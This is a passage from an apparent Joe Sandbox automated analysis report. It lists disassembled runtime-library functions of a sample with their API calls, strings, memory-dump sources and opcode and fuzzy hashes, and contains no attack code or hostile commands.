                                                    Function 00007FFDFF199F8C Relevance: 7.6, APIs: 5, Instructions: 126COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+$NameName::Name::operator+=
                                                    • String ID:
                                                    • API String ID: 3617985574-0
                                                    • Opcode ID: 5ffdb6ed48908085d5ba10a4c7ed4073b2fe41deb7b026444fec5de35eaa1ee2
                                                    • Instruction ID: 566a18f6635b95156870dd331343e7bb829efd83e9525f4fd98c96b73d88db2a
                                                    • Opcode Fuzzy Hash: 5ffdb6ed48908085d5ba10a4c7ed4073b2fe41deb7b026444fec5de35eaa1ee2
                                                    • Instruction Fuzzy Hash: D3514A73F18A5289E7208F24E860BAC37A1BB85B48F589231CA3D477DDDF3AA544C740
                                                    Function 00007FFDFF176F64 Relevance: 7.6, APIs: 5, Instructions: 96COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FFDFF151D7A), ref: 00007FFDFF176FCA
                                                    • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FFDFF151D7A), ref: 00007FFDFF176FF7
                                                    • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FFDFF151D7A), ref: 00007FFDFF177043
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FFDFF151D7A), ref: 00007FFDFF1B0444
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: FullNamePath$ErrorLast
                                                    • String ID:
                                                    • API String ID: 457693415-0
                                                    • Opcode ID: dc72bab200eeb4bf266553590a667a6b32545a3f179e38c6d8f04e2bdb351393
                                                    • Instruction ID: 9b9ce73cf822520aedc0546b2421ac6f5f39f0d760eef19449bd9ed9c9915072
                                                    • Opcode Fuzzy Hash: dc72bab200eeb4bf266553590a667a6b32545a3f179e38c6d8f04e2bdb351393
                                                    • Instruction Fuzzy Hash: 2D316B23F08B5285FB119B65A8208BD23A4AF65B90F144235DE7DA3BDADF39E8058354
                                                    Function 00007FFDFF155E40 Relevance: 7.6, APIs: 5, Instructions: 96COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,00000000,00007FFDFF174E4F,?,?,?,00007FFDFF1B0581,?,?,?,00007FFDFF1A516F), ref: 00007FFDFF155EDC
                                                      • Part of subcall function 00007FFDFF1CCA50: IsProcessorFeaturePresent.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1 ref: 00007FFDFF1CCA8F
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: FeaturePresentProcessorValue
                                                    • String ID:
                                                    • API String ID: 502995040-0
                                                    • Opcode ID: a5df8222c16b396bc638ef60a8566040b9d9b486726630a612cf969d44ca3275
                                                    • Instruction ID: 02860520923039a34b3c337d584f14a0deec9d4543a8196afe9f55f145733d50
                                                    • Opcode Fuzzy Hash: a5df8222c16b396bc638ef60a8566040b9d9b486726630a612cf969d44ca3275
                                                    • Instruction Fuzzy Hash: 0F416B26F0CA4385FB548B20A870A782395AF85BA4F584335D93EC67EEEF6CE5458700
                                                    Function 00007FFDFF199B28 Relevance: 7.6, APIs: 5, Instructions: 94COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: NameName::$Name::operator+
                                                    • String ID:
                                                    • API String ID: 826178784-0
                                                    • Opcode ID: 2100dca59a6d779d2933ec84a8fd741350697e2bca65763dff7fe953809c00a6
                                                    • Instruction ID: 95dbab0c8462c732b1a1041e000842141bb23da4ca6ec3dac35b3e698faf762a
                                                    • Opcode Fuzzy Hash: 2100dca59a6d779d2933ec84a8fd741350697e2bca65763dff7fe953809c00a6
                                                    • Instruction Fuzzy Hash: 9D414C63F08A5695E720CF21E8A09B833B4BB55B88B944231DA7E533DDDF3DE6158340
                                                    Function 00007FFE1A49A340 Relevance: 7.6, APIs: 5, Instructions: 93COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: NameName::$Name::operator+
                                                    • String ID:
                                                    • API String ID: 826178784-0
                                                    • Opcode ID: bce8ca39c1d4cdf7971423a01a1e8e868c385637c9e3d3eec5322708e8c4e6dd
                                                    • Instruction ID: 9653639d75da3527068d4382fd5d52227dc87643c23f2ed58600c5aec47df30a
                                                    • Opcode Fuzzy Hash: bce8ca39c1d4cdf7971423a01a1e8e868c385637c9e3d3eec5322708e8c4e6dd
                                                    • Instruction Fuzzy Hash: 4E414C26B18E5695EB30CF62D9900B827A4BB59FA4F6440F3DA5E177A5DF38E436C300
                                                    Function 00007FF6399D8678 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _set_statfp
                                                    • String ID:
                                                    • API String ID: 1156100317-0
                                                    • Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
                                                    • Instruction ID: 687729372eea9e8036fa62992e2affa05c689afd6e129f8f5615b9d4bf0c6b80
                                                    • Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
                                                    • Instruction Fuzzy Hash: DE11E332E2CA0311F654292AD6D537911436F64374F5D46B4E96E867FFCE2CA840BD10
                                                    Function 00007FFDFF188168 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: _set_statfp
                                                    • String ID:
                                                    • API String ID: 1156100317-0
                                                    • Opcode ID: 87c46d79d69f5e34e67aa5715e1145e14607e1ee8230764e5151c10d466875c2
                                                    • Instruction ID: 92ee3ac359501de7a2cd2d3cb8bf6960466b02a9923c5e503919531fe2c64494
                                                    • Opcode Fuzzy Hash: 87c46d79d69f5e34e67aa5715e1145e14607e1ee8230764e5151c10d466875c2
                                                    • Instruction Fuzzy Hash: 18113D23F58A0609F7641328EBB5B795A416F64374F448F38EA7E562DECF1CA841C10C
                                                    Function 00007FF6399CA6A0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • FlsGetValue.KERNEL32(?,?,?,00007FF6399C98B3,?,?,00000000,00007FF6399C9B4E,?,?,?,?,?,00007FF6399C9ADA), ref: 00007FF6399CA6BF
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C98B3,?,?,00000000,00007FF6399C9B4E,?,?,?,?,?,00007FF6399C9ADA), ref: 00007FF6399CA6DE
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C98B3,?,?,00000000,00007FF6399C9B4E,?,?,?,?,?,00007FF6399C9ADA), ref: 00007FF6399CA706
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C98B3,?,?,00000000,00007FF6399C9B4E,?,?,?,?,?,00007FF6399C9ADA), ref: 00007FF6399CA717
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C98B3,?,?,00000000,00007FF6399C9B4E,?,?,?,?,?,00007FF6399C9ADA), ref: 00007FF6399CA728
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Value
                                                    • String ID:
                                                    • API String ID: 3702945584-0
                                                    • Opcode ID: 25d361a094b2c99e262beff41eaee06ac9464b6f74968b1c14d3cfe42ff85be4
                                                    • Instruction ID: 616731654ac5313871304ea53e7858ee5329dbaa38d0306afdec4538b80d1c75
                                                    • Opcode Fuzzy Hash: 25d361a094b2c99e262beff41eaee06ac9464b6f74968b1c14d3cfe42ff85be4
                                                    • Instruction Fuzzy Hash: BE117C20E0E24206FA58AB655E5127921976F983A0F0C4334E83E867DFEE2CB841AF11
                                                    Function 00007FF6399CA534 Relevance: 7.6, APIs: 5, Instructions: 50COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Value
                                                    • String ID:
                                                    • API String ID: 3702945584-0
                                                    • Opcode ID: a853173f6999e7d5ef833d9e4f06cbd56a904a1eb1d6261c936ae8f95b9bedb9
                                                    • Instruction ID: 0123f9c87a89a9f348466eec0b3e4342375da3dae7cdb4eaab8933bd94cd9a32
                                                    • Opcode Fuzzy Hash: a853173f6999e7d5ef833d9e4f06cbd56a904a1eb1d6261c936ae8f95b9bedb9
                                                    • Instruction Fuzzy Hash: F611D620E0A2474AFA586B655D6117D22835F89360E5C9734D93E8A3DBED2CB8817F11
                                                    Function 00007FFE1463647C Relevance: 7.5, APIs: 5, Instructions: 34threadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Eval_Thread$Err_Long_OccurredRestoreSaveshutdown
                                                    • String ID:
                                                    • API String ID: 24305128-0
                                                    • Opcode ID: 8ed085b80c573facd8b5490791f9e95c22dfd687bf32148a1c5aff15e421c6a6
                                                    • Instruction ID: 14f8939a0aeb9d44eebbb1e406afad2af6f7593dc9086300bc068bb25ddc7908
                                                    • Opcode Fuzzy Hash: 8ed085b80c573facd8b5490791f9e95c22dfd687bf32148a1c5aff15e421c6a6
                                                    • Instruction Fuzzy Hash: 5401FF25E08FC682EA649F63B4C407A63A0EF4ABB8B145570DA5E43775CF3CE8498290
                                                    Function 00007FF6399C52B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID: verbose
                                                    • API String ID: 3215553584-579935070
                                                    • Opcode ID: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
                                                    • Instruction ID: e14dc18eaa456c9566f132e3d9cf46df633b3d18ba670df6c43864452c121b3a
                                                    • Opcode Fuzzy Hash: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
                                                    • Instruction Fuzzy Hash: 3D91AF32E0CA8681F7219E25D85037D3793AB44B94F8C4136DA5E863DADF3CE845AF12
                                                    Function 00007FF6399CEED8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID: UTF-16LEUNICODE$UTF-8$ccs
                                                    • API String ID: 3215553584-1196891531
                                                    • Opcode ID: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
                                                    • Instruction ID: 9cd56ff8041044eda6bc6902418fb3dec94250f8e92ca2bd75bc37c3c5ef0fbf
                                                    • Opcode Fuzzy Hash: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
                                                    • Instruction Fuzzy Hash: 95815C76E0824385FB658F25C95027926A2EB11B48F5D8035DA0AD73DFDF2DEA41BF01
                                                    Function 00007FFE1A494288 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 163COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FFE1A4969C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE1A4925CE), ref: 00007FFE1A4969CE
                                                    • abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A494407
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: abort
                                                    • String ID: $csm$csm
                                                    • API String ID: 4206212132-1512788406
                                                    • Opcode ID: 0334d4e6c50ab9b6f685e521b3ae1a91d89b048a29f68cf2dce9c00bf400fe87
                                                    • Instruction ID: 93a17a05df57c27bedf7840d7f3837efc5bb6eb9a07de1e134653b1a5dd379d9
                                                    • Opcode Fuzzy Hash: 0334d4e6c50ab9b6f685e521b3ae1a91d89b048a29f68cf2dce9c00bf400fe87
                                                    • Instruction Fuzzy Hash: C9719E72B08A9186D7708B26D4446797BA0FB48FA8F1481B6DB4E07AAACF3CD571C701
                                                    Function 00007FF6399BC968 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                                    • String ID: csm
                                                    • API String ID: 2395640692-1018135373
                                                    • Opcode ID: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
                                                    • Instruction ID: 85cf7ff13a125c7414c83070885c193e3d953da524b5bbdc941579f05ae13c1c
                                                    • Opcode Fuzzy Hash: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
                                                    • Instruction Fuzzy Hash: C2518E32B196128ADB14CF19E454A7D77A2EB44B88F598135EA4D837CEEF7CE841DB00
                                                    Function 00007FF6399BE1F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CallEncodePointerTranslator
                                                    • String ID: MOC$RCC
                                                    • API String ID: 3544855599-2084237596
                                                    • Opcode ID: c1bd0f280093dc077c2402edd2c21f20ddcaf15bcc9dc74a739a9fc2baeea3e9
                                                    • Instruction ID: 79c36cdff3358c03c3d1288033f1d13034dc29a003133925db73eb7d99d5ae38
                                                    • Opcode Fuzzy Hash: c1bd0f280093dc077c2402edd2c21f20ddcaf15bcc9dc74a739a9fc2baeea3e9
                                                    • Instruction Fuzzy Hash: F361A132908BC585E7248F65E4403AAB7B5FB88784F084225EB9D43BDADF7CE090DB40
                                                    Function 00007FF6399BE5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                                    • String ID: csm$csm
                                                    • API String ID: 3896166516-3733052814
                                                    • Opcode ID: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
                                                    • Instruction ID: 8c3e25beb30d50782ae50a1a25a609d96fe1aad7d1e1f1e23ca099929f338b1b
                                                    • Opcode Fuzzy Hash: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
                                                    • Instruction Fuzzy Hash: 18519137908246CAEB688FA1909836877BAEB54B84F1C4135DA5D87BDACF3CE4509F41
                                                    Function 00007FFE1A49F050 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: CurrentImageNonwritableUnwind
                                                    • String ID: csm$f
                                                    • API String ID: 451473138-629598281
                                                    • Opcode ID: 94627d9c7195f9c36ee16ac86650ab8a4e652cd15aa300a0b5f08846187e0d97
                                                    • Instruction ID: b9c9848aea951513072663bd52ab5c60e0dc3f4844d6aa7a56ac081ab9dd0e95
                                                    • Opcode Fuzzy Hash: 94627d9c7195f9c36ee16ac86650ab8a4e652cd15aa300a0b5f08846187e0d97
